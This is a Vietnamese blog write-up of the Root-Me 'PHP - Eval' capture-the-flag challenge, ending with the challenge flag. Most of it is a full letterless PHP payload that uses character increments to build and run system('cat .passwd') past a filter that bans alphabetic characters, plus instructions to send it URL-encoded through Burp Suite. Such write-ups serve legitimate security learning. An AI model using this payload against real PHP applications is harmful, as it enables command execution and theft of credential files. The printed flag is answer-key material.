[Rootme] PHP – Eval - Nhienit

Chưa thấy bài nào củ chuối như bài này :v, solve nó mất thời gian vl, nhưng mà nó hay các bạn ạ. Giờ thử phân tích source code mà đề cho nhé!!!

Mình sẽ nói hướng để ta có được flag trước nhé!! Mình sẽ nói về hàm eval trước, đó là hàm này nó sẽ thực thi đoạn code php ở trong nó. Ví dụ: eval(“echo ”hacked;” ) là nó sẽ in ra chuỗi ‘hacked’. Giờ bạn chỉ việc inject vào chuỗi ‘system(“cat .passwd”)’ là coi như thành công cmnr. Nhưng ngặc nổi là nó không cho nhập chữ cái mới đau chứ :(((.

Một hồi search Google thì biết có cái này https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/

Ta sẽ sử dụng những ký tự $, _, ; .. thay cho chữ cái để tạo thành một command line để thực thi. Nó có nghĩa là ví dụ: $_ = “a” thì ++$_ sẽ là “b” …. cứ cộng dần lên ký tự mà bạn muốn rồi sau đó ghép nó lại.

Cái này hơi cực một tí, mình sẽ suy nghĩ cái viết script sau => Mục đích của bạn là làm sao chèn được chuỗi ” system(‘cat .passwd’) ” vào đó. Nhưng vì ở đây mình tham khảo payload trên trang kia nên ký tự mà mình bắt đầu sẽ là “A” nên sẽ làm thêm cái hàm strlower() nữa.

$_=[]; $_=@"$_"; $_=$_['!'=='@']; ; $___=$_; $__ = $_; ++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__; $___=$__; $__=$_; ++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__; $___.=$__; $__=$_; ++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__; $___.=$__; $__ = $_; ++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__; $___.=$__; $__=$_; ++$__;++$__;++$__;++$__; $___.=$__; $__=$_; ++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__; $___.=$__; $__=$_; $_____ = ''; $__=$_; ++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__; $_____.=$__; $__=$_; ++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__; $_____.=$__; $__=$_; ++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__; $_____.=$__; $__=$_; ++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__; $_____.=$__; $__=$_; ++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__; $_____.=$__; $__=$_; ++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__; $_____.=$__; $__=$_; ++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__; $_____.=$__; $__=$_; ++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__; $_____.=$__; $__=$_; ++$__;++$__;++$__;++$__; $_____.=$__; $__=$_; ++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__; $_____.=$__; $__=$_; $____=''; ++$__;++$__; $____.=$__; $__=$_; $____.=$__; $__=$_; ++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__; $____.=$__; $__=$_; $______='.'; ++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__; $______.=$__; $__=$_; $______.=$__; $__=$_; ++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__; $______.=$__; $______.=$__; $__=$_; ++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__; $______.=$__; $__=$_; ++$__;++$__;++$__; $______.=$__; $__=$_; $__________ = $____." ".$______ ; $___($_____($__________ ))

Trên là payload của mình và sau đó encode bằng urlencode nó dán vào param input trong burpsuite thế là oke thôi.

Vì hàm eval nó sẽ nhập đầu vào là một chuỗi nên các biến các bạn nối liền với nhau sẽ tạo ra một command line. Ví dụ:

$_ = "echo"; $__ = "hacked"; eval($_." ".$__).";"); // eval(' echo "hacked" ;')

Hơi cực xíu nhé nhưng được cái học thêm được một kiến thức mới.

Có thể mình nói hơi khó hiểu nhưng các bạn chịu khó đọc tài liệu và ngâm cứu thì kiểu gì cũng hiểu kkkkk.

Flag{CO_LAM_THI_MOI_CO_AN}

Có liên quan

Từ khóa » Hàm Eval Trong Php